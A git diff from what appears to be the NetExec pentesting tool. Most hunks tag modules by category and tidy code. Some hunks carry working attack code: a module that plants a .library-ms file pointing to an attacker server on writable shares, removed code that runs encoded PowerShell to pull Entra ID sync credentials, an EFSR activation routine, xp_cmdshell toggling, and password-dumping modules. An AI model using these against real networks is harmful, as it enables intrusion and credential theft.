context.log.debug(f"CLEANUP is set to {self.cleanup}")
self.local_path = f"{TMP_PATH}/{self.lms_name}.library-ms"
self.remote_path = ntpath.join("\\", f"{self.lms_name}.library-ms")
if not self.cleanup:
self.server = module_options["SERVER"]
with open(self.local_path, "w", encoding="utf-8") as libms:
libms.truncate(0)
libms.write('<?xml version="1.0" encoding="UTF-8"?>')
libms.write('<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">')
libms.write("<searchConnectorDescriptionList>")
libms.write("<searchConnectorDescription>")
libms.write("<simpleLocation>")
libms.write(f"<url>\\\\{self.server}\\LIBRARY</url>")
libms.write("</simpleLocation>")
libms.write("</searchConnectorDescription>")
libms.write("</searchConnectorDescriptionList>")
libms.write("</libraryDescription>")
def on_login(self, context, connection):
shares = connection.shares()
for share in shares:
if "WRITE" in share["access"] and share["name"] not in self.ignore_shares:
context.log.success(f"Found writable share : {share['name']}")
if self.cleanup:
try:
connection.conn.deleteFile(share["name"], self.remote_path)
context.log.success(f"Deleted .library-ms file on share '{share['name']}'")
except Exception as e:
context.log.fail(f"Error deleting .library-ms file on share '{share['name']}' : {e}")
else:
with open(self.local_path, "rb") as libms:
try:
connection.conn.putFile(share["name"], self.remote_path, libms.read)
context.log.success(f"Created .library-ms file on share '{share['name']}'")
except Exception as e:
context.log.fail(f"Error writing .library-ms file on share '{share['name']}' : {e}")
+2
View File
@@ -1,5 +1,6 @@
import ntpath
import tempfile
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -12,6 +13,7 @@ class NXCModule:
name = "drop-sc"
description = "Drop a searchConnector-ms file on each writable share"
supported_protocols = ["smb"]
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
"""
+7 -2
View File
@@ -1,10 +1,12 @@
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
name = "dump-computers"
description = "Dumps all computers in the domain"
description = "Dumps FQDN and OS of all computers in the domain"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""
@@ -41,8 +43,11 @@ class NXCModule:
context.log.debug(f"Total number of records returned: {len(resp_parsed)}")
for item in resp_parsed:
dns_host_name = item["dNSHostName"]
dns_host_name = item.get("dNSHostName")
operating_system = item.get("operatingSystem", "Unknown OS")
if not dns_host_name:
context.log.debug(f"Skipping computer without dNSHostName: {item.get('cn', '<unknown>')}")
continue
if self.netbios_only:
netbios_name = dns_host_name.split(".")[0]
+4 -94
View File
@@ -1,33 +1,13 @@
import ntpath
from nxc.helpers.misc import gen_random_string
from nxc.context import Context
from impacket.smb3structs import FILE_SHARE_WRITE, FILE_SHARE_DELETE, FILE_ATTRIBUTE_ENCRYPTED
from impacket.smbconnection import SessionError, SMBConnection
def get_error_string(exception):
if hasattr(exception, "getErrorString"):
try:
es = exception.getErrorString()
except KeyError:
return f"Could not get nt error code {exception.getErrorCode()} from impacket: {exception}"
if type(es) is tuple:
return es[0]
else:
return es
else:
return str(exception)
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""EFSR Spray Module
Module by @rtpt-romankarwacik
"""
name = "efsr_spray"
description = "Tries to activate the EFSR service by creating a file with the encryption attribute on some available share."
description = "[REMOVED] Tries to activate the EFSR service by creating a file with the encryption attribute on some available share."
supported_protocols = ["smb"]
excluded_shares = ["SYSVOL"]
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context: Context, module_options: dict[str, str]):
"""
@@ -35,76 +15,6 @@ class NXCModule:
SHARE_NAME If set, ONLY this share will be used
EXCLUDED_SHARES List of share names which will not be used, seperated by comma
"""
self.file_name = module_options.get("FILE_NAME", ntpath.normpath("\\" + gen_random_string() + ".txt"))
self.share_name = module_options.get("SHARE_NAME")
if module_options.get("EXCLUDED_SHARES"):
self.excluded_shares += module_options.get("EXCLUDED_SHARES", "").split(",")
def on_login(self, context: Context, connection):
conn: SMBConnection = connection.conn # Because typing is broken due to smb being a folder and a file >:(
try:
shares = conn.listShares()
except SessionError as e:
error = get_error_string(e)
context.log.fail(f"Error enumerating shares: {error}", color="magenta")
return
# Check if named pipe is already available
try:
named_pipe_names = [f.get_shortname() for f in conn.listPath("IPC$", "*")]
if "efsrpc" in named_pipe_names:
context.log.highlight("efsrpc named pipe is already available!")
# if it is already activated we just skip this computer
return
except SessionError as e:
error = get_error_string(e)
context.log.fail(f"Error enumerating named pipes: {error}", color="magenta")
return
# Write an encrypted file on the share root.
# This will likely fail with STATUS_ACCESS_DENIED if we do not have the permission to create encrypted files,
# but this does not matter as the service will be activated nevertheless if we have WRITE or MODIFY access
for share in shares:
share_name = share["shi1_netname"][:-1]
if self.share_name is not None and self.share_name != share_name:
continue
if share_name in self.excluded_shares:
continue
try:
context.log.debug(f"Connecting to share {share_name}...")
tid = conn.connectTree(share_name)
except SessionError as e:
context.log.debug(f"Could not connect to share {share_name}: {e}")
continue
try:
context.log.debug(f"Creating file in {share_name}...")
fid = conn.createFile(tid, self.file_name,
desiredAccess=FILE_SHARE_WRITE,
shareMode=FILE_SHARE_DELETE,
fileAttributes=FILE_ATTRIBUTE_ENCRYPTED)
conn.closeFile(tid, fid)
try:
# this can happen when we have special permissions to create encrypted files
conn.deleteFile(share_name, self.file_name)
except SessionError as e:
error = get_error_string(e)
if error == "STATUS_OBJECT_NAME_NOT_FOUND":
pass
context.log.fail(f"Error DELETING created temp file {self.file_name} on share {share_name}: {error}")
except SessionError as e:
context.log.debug(f"Error writing encrypted file on share {share_name}: {get_error_string(e)} (This does not necessarily mean that the attack failed!)")
try:
tid = conn.connectTree("IPC$")
conn.waitNamedPipe(tid, "efsrpc", 10)
context.log.highlight("Successfully activated efsrpc named pipe!")
except SessionError as e:
error = get_error_string(e)
if error == "STATUS_OBJECT_NAME_NOT_FOUND":
context.log.debug("efsrpc pipe was not activated.")
else:
context.log.fail(f"Error waiting for named pipe: {error}", color="magenta")
return
context.log.fail('[REMOVED] This module has been made obsolete and EFS will be activated automatically by "coerce_plus"')
+2
View File
@@ -1,6 +1,7 @@
import sys
import requests
from requests import ConnectionError
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -12,6 +13,7 @@ class NXCModule:
name = "empire_exec"
description = "Uses Empire's RESTful API to generate a launcher for the specified listener and executes it"
supported_protocols = ["smb", "mssql"]
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
"""
+10 -4
View File
@@ -1,3 +1,6 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Enables or disables xp_cmdshell in MSSQL Server.
@@ -7,6 +10,7 @@ class NXCModule:
name = "enable_cmdshell"
description = "Enable or disable xp_cmdshell in MSSQL Server"
supported_protocols = ["mssql"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self):
self.mssql_conn = None
@@ -42,8 +46,7 @@ class NXCModule:
def backup_show_advanced_options(self):
"""Backs up the current state of 'show advanced options'."""
query = "SELECT CAST(value AS INT) AS value FROM sys.configurations WHERE name = 'show advanced options'"
res = self.mssql_conn.sql_query(query)
res = self.mssql_conn.sql_query("SELECT CAST(value AS INT) AS value FROM sys.configurations WHERE name = 'show advanced options'")
if res:
self.advanced_options_backup = int(res[0]["value"]) # Convert to integer
@@ -55,6 +58,7 @@ class NXCModule:
def toggle_xp_cmdshell(self, enable: bool):
"""Enables or disables xp_cmdshell while preserving 'show advanced options' state."""
state = "1" if enable else "0"
action_text = "enabled" if enable else "disabled"
# Backup 'show advanced options' state
self.backup_show_advanced_options()
@@ -65,8 +69,10 @@ class NXCModule:
try:
# Enable or disable xp_cmdshell
self.mssql_conn.sql_query(f"EXEC sp_configure 'xp_cmdshell', '{state}'; RECONFIGURE;")
action_text = "enabled" if enable else "disabled"
self.context.log.success(f"xp_cmdshell successfully {action_text}.")
if self.mssql_conn.lastError:
self.context.log.fail(f"Failed to {action_text[:-1]} xp_cmdshell: {self.mssql_conn.lastError}")
else:
self.context.log.success(f"xp_cmdshell successfully {action_text}.")
except Exception as e:
self.context.log.fail(f"Failed to execute command: {e}")
+2
View File
@@ -2,6 +2,7 @@
import re
from termcolor import colored
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.config import host_info_colors
@@ -12,6 +13,7 @@ class NXCModule:
name = "entra-id"
description = "Find the Entra ID sync server"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def __init__(self):
self.context = None
-49
View File
@@ -1,49 +0,0 @@
from base64 import b64encode
from nxc.helpers.powershell import get_ps_script
class NXCModule:
"""
Example:
-------
Module by @NeffIsBack
"""
name = "entra-sync-creds"
description = "Extract Entra ID sync credentials from the target host"
supported_protocols = ["smb"]
opsec_safe = True
def __init__(self):
self.context = None
self.module_options = None
self.entra_id_psscript = ""
with open(get_ps_script("entra-sync-creds/entra-sync-creds.ps1")) as psFile:
for line in psFile:
if line.startswith("#") or line.strip() == "":
continue
else:
self.entra_id_psscript += line.strip() + "\n"
def options(self, context, module_options):
"""No module options available."""
def on_admin_login(self, context, connection):
self.context = context
psScript_b64 = b64encode(self.entra_id_psscript.encode("UTF-16LE")).decode("utf-8")
out = connection.execute(f"powershell.exe -e {psScript_b64} -OutputFormat Text", True)
if "CLIXML" in out:
out = out.split("CLIXML")[1].split("<Objs Version")[0]
for line in out.splitlines():
if not line.strip():
continue
if "[!]" in line:
self.context.log.fail(line.replace("[!]", "").strip())
else:
self.context.log.highlight(line.strip())
+70 -1
View File
@@ -7,6 +7,7 @@ from impacket.dcerpc.v5 import lsat, lsad, transport
from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, RPC_UNICODE_STRING
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
import pathlib
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -18,6 +19,7 @@ class NXCModule:
name = "enum_av"
description = "Gathers information on all endpoint protection solutions installed on the the remote host(s) via LsarLookupNames (no privilege needed)"
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
@@ -262,6 +264,17 @@ conf = {
{"name": "CybereasonAPServerProxyIpc_*", "processes": ["minionhost.exe"]}
]
},
{
"name": "Check Point Endpoint Security",
"services": [
{"name": "CPDA", "description": "Check Point Endpoint Agent"},
{"name": "vsmon", "description": "Check Point Endpoint Security Network Protection"},
{"name": "CPFileAnlyz", "description": "Check Point Endpoint Security File Analyzer"},
{"name": "EPClientUIService", "description": "Check Point Endpoint Security Client UI"}
],
"pipes": []
},
{
"name": "ESET",
"services": [
@@ -276,6 +289,24 @@ conf = {
],
"pipes": [{"name": "nod_scriptmon_pipe", "processes": [""]}],
},
{
"name": "FortiClient",
"services": [
{"name": "FA_Scheduler", "description": "FortiClient Service Scheduler"},
{"name": "FCT_SecSvr", "description": "Forticlient Endpoint Protected Process Service"}
],
"pipes": [
{"name": "FortiClient_DBLogDaemon", "processes": ["FCDBLog.exe"]},
{"name": "FC_*", "processes": ["FortiTray.exe"]}
]
},
{
"name": "FortiEDR",
"services": [
{"name": "FortiEDR Collector Service", "description": "Host component of the Fortinet Endpoint Detection and Response Platform"}
],
"pipes": []
},
{
"name": "G DATA Security Client",
"services": [
@@ -295,6 +326,17 @@ conf = {
],
"pipes": []
},
{
"name": "Kaseya Agent Endpoint",
"services": [
{"name": "KAENDKSAASC*", "description": "Virtual System Administrator Endpoint"},
{"name": "KAKSAASC*", "description": "Machine.Group ID:*"},
],
"pipes": [
{"name": "kaseyaUserKSA*", "processes": ["KaUsrTsk.exe"]},
{"name": "kaseyaAgentKSA*", "processes": ["AgentMon.exe"]}
]
},
{
"name": "Kaspersky Security for Windows Server",
"services": [
@@ -307,6 +349,18 @@ conf = {
{"name": "Exploit_Blocker", "processes": ["kavfswh.exe"]}
]
},
{
"name": "Malwarebytes",
"services": [
{"name": "MBAMService", "description": "Malwarebytes Service"},
{"name": "MBEndpointAgent", "description": "Malwarebytes Cloud Endpoint Agent Service"}
],
"pipes": [
{"name": "MBLG", "processes": ["MBAMService.exe"]},
{"name": "MBEA2_R", "processes": ["MBCloudEA.exe"]},
{"name": "MBEA2_W", "processes": ["MBCloudEA.exe"]}
]
},
{
"name": "Panda Adaptive Defense 360",
"services": [
@@ -376,7 +430,7 @@ conf = {
{"name": "masvc", "description": "Trellix Agent Service"},
{"name": "macmnsvc", "description": "Trellix Agent Common Service"},
{"name": "mfetp", "description": "Trellix Endpoint Threat Prevention Service"},
{"name": "mfewc", "description": "Trellix Endpoint Security Web Control Service"},
{"name": "mfewc", "description": "Trellix Endpoint Security Web Control Service"},
{"name": "mfeaack", "description": "Trellix Anti-Malware Core Service"}
],
"pipes": [
@@ -416,6 +470,21 @@ conf = {
{"name": "WdNisSvc", "description": "Windows Defender Antivirus Network Inspection Service"}
],
"pipes": []
},
{
"name": "WithSecure Elements",
"services": [
{"name": "fsdevcon", "description": "WithSecure Device Control"},
{"name": "fshoster", "description": "WithSecure Hoster"},
{"name": "fsnethoster", "description": "WithSecure Hoster (Restricted)"},
{"name": "fsulhoster", "description": "WithSecure Ultralight Hoster"},
{"name": "fsulnethoster", "description": "WithSecure Ultralight Network Hoster"},
{"name": "fsulprothoster", "description": "WithSecure Ultralight Protected Hoster"},
{"name": "wsulavprohoster", "description": "WithSecure Ultralight Protected AV Hoster"}
],
"pipes": [
{"name": "FS_CCFIPC_*", "processes": ["fsatpn.exe", "fsatpl.exe", "fshoster32.exe", "fsulprothoster.exe", "fsulprothoster.exe", "fshoster64.exe", "FsPisces.exe", "fsdevcon.exe"]}
]
}
]
}
+6 -3
View File
@@ -6,6 +6,7 @@ from impacket.dcerpc.v5.rpch import RPC_PROXY_INVALID_RPC_PORT_ERR, \
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from impacket import uuid
import requests
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -23,14 +24,15 @@ class NXCModule:
name = "enum_ca"
description = "Anonymously uses RPC endpoints to hunt for ADCS CAs"
supported_protocols = ["smb"] # Example: ['smb', 'mssql']
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
pass
"""No options available"""
def on_login(self, context, connection):
self.__username = connection.username
@@ -78,7 +80,8 @@ class NXCModule:
RPC_PROXY_CONN_A1_0X6BA_ERR in error_text:
context.log.fail("This usually means the target does not allow "
"to connect to its epmapper using RpcProxy.")
return
return
for entry in entries:
tmpUUID = str(entry["tower"]["Floors"][0])
+2
View File
@@ -1,5 +1,6 @@
from datetime import datetime
from nxc.helpers.logger import write_log
from nxc.helpers.misc import CATEGORY
from nxc.paths import NXC_PATH
@@ -12,6 +13,7 @@ class NXCModule:
name = "enum_dns"
description = "Uses WMI to dump DNS from an AD DNS Server"
supported_protocols = ["smb", "wmi"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
+4
View File
@@ -1,3 +1,6 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Enumerate SQL Server users with impersonation rights
@@ -7,6 +10,7 @@ class NXCModule:
name = "enum_impersonate"
description = "Enumerate users with impersonation privileges"
supported_protocols = ["mssql"]
category = CATEGORY.ENUMERATION
def __init__(self):
self.mssql_conn = None
+95
View File
@@ -0,0 +1,95 @@
#!/usr/bin/env python3
import contextlib
from impacket.examples.secretsdump import RemoteOperations
from impacket.dcerpc.v5 import rrp
from impacket.dcerpc.v5.rpcrt import DCERPCException
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Retrieve the list of network interfaces info (Name, IP Address, Subnet Mask, Default Gateway) from remote Windows registry'
Formerly --interfaces parameter
Made by: @Sant0rryu, @NeffIsBack
"""
name = "enum_interfaces"
description = "Retrieve the list of network interfaces info (Name, IP Address, Subnet Mask, Default Gateway) from remote Windows registry (formerly --interfaces)"
supported_protocols = ["smb"]
opsec_safe = False
category = CATEGORY.ENUMERATION
def __init__(self):
self.context = None
self.module_options = {}
def options(self, context, module_options):
"""No options available"""
def on_admin_login(self, context, connection):
"""Execute network interface enumeration on authenticated SMB connection"""
self.context = context
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
if remoteOps._RemoteOperations__rrp:
reg_handle = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, "SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces")["phkResult"]
sub_key_list = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
sub_keys = [rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, key_handle, i)["lpNameOut"][:-1] for i in range(sub_key_list)]
context.log.highlight(f"{'-Name-':<11} | {'-IP Address-':<15} | {'-SubnetMask-':<15} | {'-Gateway-':<15} | -DHCP-")
for sub_key in sub_keys:
interface = {}
try:
interface_key = f"SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\{sub_key}"
interface_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, interface_key)["phkResult"]
# Retrieve Interace Name
interface_name_key = f"SYSTEM\\ControlSet001\\Control\\Network\\{{4D36E972-E325-11CE-BFC1-08002BE10318}}\\{sub_key}\\Connection"
interface_name_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, interface_name_key)["phkResult"]
interface_name = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_name_handle, "Name")[1].rstrip("\x00")
interface["Name"] = str(interface_name)
if "Kernel" in interface_name:
continue
# Retrieve DHCP
try:
dhcp_enabled = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "EnableDHCP")[1]
except DCERPCException:
dhcp_enabled = False
interface["DHCP"] = bool(dhcp_enabled)
# Retrieve IPAddress
try:
ip_address = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "DhcpIPAddress" if dhcp_enabled else "IPAddress")[1].rstrip("\x00").replace("\x00", ", ")
except DCERPCException:
ip_address = None
interface["IPAddress"] = ip_address if ip_address else None
# Retrieve SubnetMask
try:
subnetmask = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "SubnetMask")[1].rstrip("\x00").replace("\x00", ", ")
except DCERPCException:
subnetmask = None
interface["SubnetMask"] = subnetmask if subnetmask else None
# Retrieve DefaultGateway
try:
default_gateway = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "DhcpDefaultGateway")[1].rstrip("\x00").replace("\x00", ", ")
except DCERPCException:
default_gateway = None
interface["DefaultGateway"] = default_gateway if default_gateway else None
context.log.highlight(f"{interface['Name']:<11} | {interface['IPAddress']!s:<15} | {interface['SubnetMask']!s:<15} | {interface['DefaultGateway']!s:<15} | {interface['DHCP']}")
except DCERPCException as e:
context.log.info(f"Failed to retrieve the network interface info for {sub_key}: {e!s}")
with contextlib.suppress(Exception):
remoteOps.finish()
except DCERPCException as e:
context.log.error(f"Failed to connect to the target: {e!s}")
+5 -1
View File
@@ -1,3 +1,6 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Enumerate SQL Server linked servers
@@ -7,6 +10,7 @@ class NXCModule:
name = "enum_links"
description = "Enumerate linked SQL Servers and their login configurations."
supported_protocols = ["mssql"]
category = CATEGORY.ENUMERATION
def __init__(self):
self.mssql_conn = None
@@ -25,7 +29,7 @@ class NXCModule:
self.context.log.display(f" - {server}")
else:
self.context.log.fail("No linked servers found.")
if connection.admin_privs:
res = self.mssql_conn.sql_query("EXEC sp_helplinkedsrvlogin")
srvs = [srv for srv in res if srv["Local Login"] != "NULL"]
+9 -5
View File
@@ -1,3 +1,6 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Enumerate SQL Server logins (SQL, Domain, Local users)
@@ -7,6 +10,7 @@ class NXCModule:
name = "enum_logins"
description = "Enumerate SQL Server logins (SQL, Domain, Local users)"
supported_protocols = ["mssql"]
category = CATEGORY.ENUMERATION
def __init__(self):
self.mssql_conn = None
@@ -42,14 +46,14 @@ class NXCModule:
domain_prefix = f"{domain_name}\\" if domain_name else ""
query = f"""
SELECT
SELECT
name,
type,
type_desc,
CASE type_desc
CASE type_desc
WHEN 'SQL_LOGIN' THEN 'SQL User'
WHEN 'WINDOWS_LOGIN' THEN
CASE
WHEN 'WINDOWS_LOGIN' THEN
CASE
WHEN name LIKE '{domain_prefix}%' THEN 'Domain User'
WHEN name LIKE '%\\%' THEN 'Local User'
ELSE 'Local User'
@@ -61,7 +65,7 @@ class NXCModule:
END as login_type,
is_disabled,
create_date
FROM sys.server_principals
FROM sys.server_principals
WHERE type IN ('S', 'U', 'G', 'C', 'K')
AND name NOT LIKE '##%'
ORDER BY login_type, name;
+3
View File
@@ -1,4 +1,6 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
@@ -9,6 +11,7 @@ class NXCModule:
name = "enum_trusts"
description = "[REMOVED] Extract all Trust Relationships, Trusting Direction, and Trust Transitivity"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
pass
+4 -2
View File
@@ -3,6 +3,7 @@ from impacket.dcerpc.v5 import transport, even6
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.dcerpc.v5.epm import hept_map
from nxc.helpers.even6_parser import ResultSet
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -12,7 +13,8 @@ class NXCModule:
"""
name = "eventlog_creds"
description = "Extracting Credentials From Windows Logs (Event ID: 4688 and SYSMON)"
supported_protocols = ["smb"] # Example: ['smb', 'mssql']
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def __init__(self):
self.context = None
@@ -21,7 +23,7 @@ class NXCModule:
self.limit = None
def options(self, context, module_options):
"""
"""
METHOD EventLog method (Execute or RPCCALL), default: execute
M Alias for METHOD
LIMIT Limit of the number of records to be fetched, default: unlimited
+4
View File
@@ -1,3 +1,5 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
@@ -9,6 +11,7 @@ class NXCModule:
name = "example module"
description = "I do something"
supported_protocols = [] # Example: ['smb', 'mssql']
category = CATEGORY.ENUMERATION # Must be one of "Enumeration", "Privilege Escalation" or "Credential Dumping". Use what fits best.
def __init__(self):
self.context = None
@@ -18,6 +21,7 @@ class NXCModule:
"""Required.
Module options get parsed here. Additionally, put the modules usage here as well
"""
# Put "No options available" in the docstring if there are no options for the module
def on_login(self, context, connection):
"""Concurrent.
+4
View File
@@ -1,3 +1,6 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Execute commands on linked servers
@@ -7,6 +10,7 @@ class NXCModule:
name = "exec_on_link"
description = "Execute commands on a SQL Server linked server"
supported_protocols = ["mssql"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self):
self.mssql_conn = None
+2
View File
@@ -1,3 +1,4 @@
from nxc.helpers.misc import CATEGORY
from nxc.logger import nxc_logger
from impacket.ldap.ldap import LDAPSearchError
from impacket.ldap.ldapasn1 import SearchResultEntry
@@ -15,6 +16,7 @@ class NXCModule:
name = "find-computer"
description = "Finds computers in the domain via the provided text"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""
+2
View File
@@ -1,4 +1,5 @@
from dploot.lib.target import Target
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
@@ -12,6 +13,7 @@ class NXCModule:
name = "firefox"
description = "[REMOVED] Dump credentials from Firefox"
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""
+3 -1
View File
@@ -1,5 +1,6 @@
from impacket.ldap import ldap as ldap_impacket
import re
from nxc.helpers.misc import CATEGORY
from nxc.logger import nxc_logger
from nxc.parsers.ldap_results import parse_result_attributes
@@ -11,8 +12,9 @@ class NXCModule:
"""
name = "get-desc-users"
description = "Get description of the users. May contained password"
description = "Get description of the users. May contain password"
supported_protocols = ["ldap"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""
+2 -1
View File
@@ -1,3 +1,4 @@
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
@@ -9,6 +10,7 @@ class NXCModule:
name = "get-info-users"
description = "Get the info field of all users. May contain password"
supported_protocols = ["ldap"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""FILTER Apply the FILTER (grep-like) (default: '')"""
@@ -41,4 +43,3 @@ class NXCModule:
# Filter
context.log.debug(f"Filter info field with: {self.FILTER}")
return [answer for answer in answers if self.FILTER in answer[1]]
+4 -2
View File
@@ -10,6 +10,7 @@ from struct import unpack
from impacket.structure import Structure
from ldap3 import LEVEL
from os.path import expanduser
from nxc.helpers.misc import CATEGORY
from nxc.paths import NXC_PATH
from nxc.parsers.ldap_results import parse_result_attributes
@@ -68,6 +69,7 @@ class NXCModule:
name = "get-network"
description = "Query all DNS records with the corresponding IP from the domain."
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""
@@ -81,12 +83,12 @@ class NXCModule:
if module_options["ALL"].lower() == "true" or module_options["ALL"] == "1":
self.showall = True
else:
print("Could not parse ALL option.")
context.log.display("Could not parse ALL option.")
if module_options and "ONLY_HOSTS" in module_options:
if module_options["ONLY_HOSTS"].lower() == "true" or module_options["ONLY_HOSTS"] == "1":
self.showhosts = True
else:
print("Could not parse ONLY_HOSTS option.")
context.log.display("Could not parse ONLY_HOSTS option.")
def on_login(self, context, connection):
zone = ldap2domain(connection.baseDN)
+2
View File
@@ -1,4 +1,5 @@
from impacket.ldap import ldap as ldap_impacket
from nxc.helpers.misc import CATEGORY
from nxc.logger import nxc_logger
from nxc.parsers.ldap_results import parse_result_attributes
@@ -12,6 +13,7 @@ class NXCModule:
name = "get-unixUserPassword"
description = "Get unixUserPassword attribute from all users in ldap"
supported_protocols = ["ldap"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""
+2
View File
@@ -1,4 +1,5 @@
from impacket.ldap import ldap as ldap_impacket
from nxc.helpers.misc import CATEGORY
from nxc.logger import nxc_logger
from nxc.parsers.ldap_results import parse_result_attributes
@@ -12,6 +13,7 @@ class NXCModule:
name = "get-userPassword"
description = "Get userPassword attribute from all users in ldap"
supported_protocols = ["ldap"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""
+2
View File
@@ -1,5 +1,6 @@
from datetime import datetime
from nxc.helpers.logger import write_log
from nxc.helpers.misc import CATEGORY
from nxc.paths import NXC_PATH
import json
@@ -14,6 +15,7 @@ class NXCModule:
name = "get_netconnections"
description = "Uses WMI to query network connections."
supported_protocols = ["smb", "wmi"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""No options available"""
+2
View File
@@ -1,5 +1,6 @@
import xml.etree.ElementTree as ET
from io import BytesIO
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -11,6 +12,7 @@ class NXCModule:
name = "gpp_autologin"
description = "Searches the domain controller for registry.xml to find autologon information and returns the username and password."
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
""" """
+7 -4
View File
@@ -3,6 +3,7 @@ from Cryptodome.Cipher import AES
from base64 import b64decode
from binascii import unhexlify
from io import BytesIO
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -14,19 +15,21 @@ class NXCModule:
name = "gpp_password"
description = "Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences."
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
""" """
"""No options available"""
def on_login(self, context, connection):
shares = connection.shares()
for share in shares:
if share["name"] == "SYSVOL" and "READ" in share["access"]:
if share["name"].lower() == "sysvol" and "READ" in share["access"]:
sysvol = share["name"]
context.log.success("Found SYSVOL share")
context.log.display("Searching for potential XML files containing passwords")
paths = connection.spider(
"SYSVOL",
sysvol,
pattern=[
"Groups.xml",
"Services.xml",
@@ -41,7 +44,7 @@ class NXCModule:
context.log.display(f"Found {path}")
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
connection.conn.getFile(sysvol, path, buf.write)
xml = ET.fromstring(buf.getvalue())
sections = []
+2
View File
@@ -2,6 +2,7 @@ import ssl
import ldap3
import re
from io import BytesIO
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -13,6 +14,7 @@ class NXCModule:
name = "gpp_privileges"
description = "Extracts privileges assigned via GPOs and resolves SIDs via LDAP."
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
WELL_KNOWN_SIDS = {
"S-1-0": "Null Authority",
+3 -1
View File
@@ -1,5 +1,6 @@
from impacket.ldap import ldapasn1 as ldapasn1_impacket
import sys
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -13,6 +14,7 @@ class NXCModule:
name = "group-mem"
description = "[REMOVED] Retrieves all the members within a Group"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
primaryGroupID = ""
answers = []
@@ -35,7 +37,7 @@ class NXCModule:
sys.exit(1)
def on_login(self, context, connection):
self.logger.fail("[REMOVED] Use the ldap flag '--groups \"Administrators\"' instead of the module group-mem.")
context.log.fail("[REMOVED] Use the ldap flag '--groups \"Administrators\"' instead of the module group-mem.")
return None
# First look up the SID of the group passed in
+2
View File
@@ -1,6 +1,7 @@
